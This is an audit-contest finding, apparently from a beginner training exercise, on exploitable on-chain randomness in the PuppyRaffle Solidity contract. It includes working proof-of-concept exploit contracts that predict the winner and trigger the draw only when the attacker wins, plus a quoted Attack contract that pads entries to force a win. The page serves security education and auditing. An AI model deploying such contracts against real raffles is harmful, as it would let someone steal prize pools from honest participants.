Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Predictable randomness in `PuppyRaffle::selectWinner` lets an attacker choose when to win and force the puppy rarity

verdoolaegelouis

Root + Impact

Root cause: PuppyRaffle::selectWinner derives randomness from msg.sender, block.timestamp and block.difficulty, all of which are known to the caller at call time, while selectWinner itself is permissionless.

Impact: an attacker can compute the winner before broadcasting and call selectWinner only in the blocks where they win, taking the prize pool at will. The same flaw lets them mint a legendary puppy on demand.

Description

  • The winner and the NFT rarity are meant to be unpredictable, so that every entrant has the stake-weighted chance the protocol advertises (70/25/5).

  • Both values are computed from data the caller fully observes before the transaction executes. msg.sender is chosen by the attacker, and block.timestamp / block.difficulty are readable on-chain inside the same transaction. Because selectWinner has no access control, the attacker evaluates the outcome first and simply does not broadcast a losing call.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
// even weaker: no timestamp at all
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood:

  • Occurs on every draw. selectWinner is external with no access control, so any address can call it once the duration has elapsed.

  • The attacker needs no privilege and no capital beyond one entranceFee: a contract reads block.timestamp and block.difficulty, recomputes the index, and reverts when it would lose, costing only gas.

Impact:

  • The attacker wins the prize pool of every round they choose to settle, so 80% of all entry fees flow to them instead of an honest participant.

  • Rarity is equally forced, so the legendary puppy (advertised at 5%) is minted on demand, destroying the NFT's scarcity.

Proof of Concept

1 — the winner is known before the call. The index is recomputed outside the contract and matches the actual winner:

contract WinnerPredictor {
PuppyRaffle raffle;
constructor(PuppyRaffle _r) { raffle = _r; }
​
function predictedIndex(uint256 n) public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % n;
}
}
​
function test_winnerIsKnownBeforeTheCall() public {
address[] memory p = new address[](4);
for (uint256 i = 0; i < 4; i++) p[i] = address(uint160(1000 + i));
puppyRaffle.enterRaffle{value: 4 ether}(p);
vm.warp(block.timestamp + 2 days);
​
WinnerPredictor pred = new WinnerPredictor(puppyRaffle);
address predictedWinner = puppyRaffle.players(pred.predictedIndex(4));
​
vm.prank(address(pred));
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), predictedWinner);
}

2 — the attacker only ever draws when they win. Losing draws are never broadcast, so there is no downside:

function drawOnlyIfIWin(uint256 n, address me) external returns (bool) {
if (raffle.players(predictedIndex(n)) != me) return false; // abort, costs nothing
raffle.selectWinner();
return true;
}

In the run, the predictor declined to draw and previousWinner stayed address(0): no losing draw ever reached the chain. The attacker simply waits for the next block and re-evaluates.

Both tests pass on the audited commit with forge test.

Recommended Mitigation

On-chain values cannot be a source of randomness. Use a verifiable external source, for example Chainlink VRF, and split the draw into a request and a fulfilment:

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
- address winner = players[winnerIndex];
+ // 1) requestRandomWords() in selectWinner, storing the request id
+ // 2) fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
+ // picks the winner and the rarity from randomWords, and pays out there

A commit-reveal scheme is an alternative, but it must not settle on values the settling caller controls. Whatever the source, the rarity must be drawn from the same verified randomness rather than a second on-chain hash.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!